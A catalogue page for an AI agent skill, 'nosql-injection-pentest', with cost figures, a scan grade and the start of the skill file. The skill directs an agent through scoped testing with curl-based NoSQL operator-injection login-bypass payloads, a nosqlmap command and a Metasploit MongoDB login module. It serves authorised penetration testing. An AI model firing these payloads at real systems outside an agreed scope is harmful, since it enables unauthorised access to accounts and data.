Borrowing it
Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/nosql-injection-pentest/SKILL.mdgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/nosql-injection-pentest)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/nosql-injection-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/nosql-injection-pentest/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/nosql-injection-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/nosql-injection-pentest.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00063 | $0.01889 |
| Opus 5.5 | $0.00025 | $0.00756 |
| Sonnet 5.5 | $0.00013 | $0.00378 |
| Haiku 4.5 | $0.00006 | $0.00189 |
Grade A, and why
nosql-injection-pentest scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST "http://<target>/login" -d "username[\$ne]=x&password[\$ne]=x" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST "http://<target>/login" -H "Content-Type: application/json" \ How it starts
The opening of the file, as written. The whole thing — 214 lines — stays where its author put it; the contents beside it link to each section on GitHub.
NoSQL Injection Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE). - Load
web-app-pentestfor overall web testing context.
Triggers
- MongoDB, CouchDB, Redis, or Elasticsearch backend identified
- JSON login/search bodies accepting operator syntax (
$gt,$ne,$regex) - URL-encoded params like
username[$ne]=x&password[$ne]=x - NoSQL-related error messages in responses
- Authentication bypass with unexpected empty or wildcard credentials
Workflow
Task Progress:
- [ ] Identify JSON or form parameters mapped to NoSQL queries
- [ ] Test authentication bypass with $ne, $gt, $regex, $expr operators
- [ ] Extract data via $regex blind injection or aggregation pipeline abuse
- [ ] If filtered, try duplicate key override and operator encoding
- [ ] Document with request/response evidence
Detection
Authentication bypass probes
CLI (primary for web vulns):
python3 nosqlmap.py -u "http://<target>/login" --postdata "username=admin&password=test"
curl -X POST "http://<target>/login" -H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
curl -X POST "http://<target>/login" -d "username[\$ne]=x&password[\$ne]=x"
JSON: {"username":{"$ne":null},"password":{"$ne":null}}
URL: username[$ne]=x&password[$ne]=x
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/mongodb_login",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 27017, "USERNAME": "admin", "PASSWORD": "password", "DATABASE": "admin"}
)
Note: mongodb_login targets direct MongoDB port; for HTTP JSON injection use CLI primarily.
Exploitation by variant
Operator injection reference
| Operator | Effect |
|---|---|
$ne |
Not equal (bypass auth) |
$gt / $gte |
Greater than (match any non-empty) |
$regex |
Pattern match (blind extraction) |
$in |
Match any in array |
$expr |
Aggregation expression in query |
$where |
JavaScript execution (MongoDB) |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 214 lines · 63 tokens per session scan A 25ab98650a8c
nosql-injection-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 2mo ago), licensed MIT. It adds 63 tokens to every session and 1,889 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
dbx
Use the DBX CLI to inspect DBX-managed database connections, explore schemas, run bounded read-only queries, generate DBML or schema documentation, and open tables in DBX Desktop. Use when the user asks to work with a database configured in DBX from a shell-capable AI agent. Never enable writes unless the user…
azure-mgmt-mongodbatlas-dotnet
Manage MongoDB Atlas Organizations as Azure ARM resources using Azure.ResourceManager.MongoDBAtlas SDK. Use when creating, updating, listing, or deleting MongoDB Atlas organizations through Azure Marketplace integration. This SDK manages the Azure-side organization resource, not Atlas clusters/databases directly.
nosqli
NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.
prisma-mongodb-upgrade
Decision and migration guide for Prisma ORM MongoDB projects on v6, which have no upgrade path to v7. Use when a MongoDB project asks about upgrading Prisma, when "upgrade to prisma 7" comes up in a project with provider = "mongodb", or when evaluating a move to Prisma Next. Triggers on "upgrade prisma mongodb"…
byted-volcengine-mongodb
An operations tool for Volcengine MongoDB, a document database that stores data in flexible, JSON-like records. It can query managed MongoDB instances and return details for further explanation or diagnosis.
commerce-app-storage
Integrate App Builder Database Storage (@adobe/aio-lib-db) into an Adobe Commerce app and scaffold a runtime action that reads and writes documents. Use when the user wants persistent, queryable storage backing a Commerce app — either from a web action (HTTP-invokable) or from an event/webhook handler. Requires a base…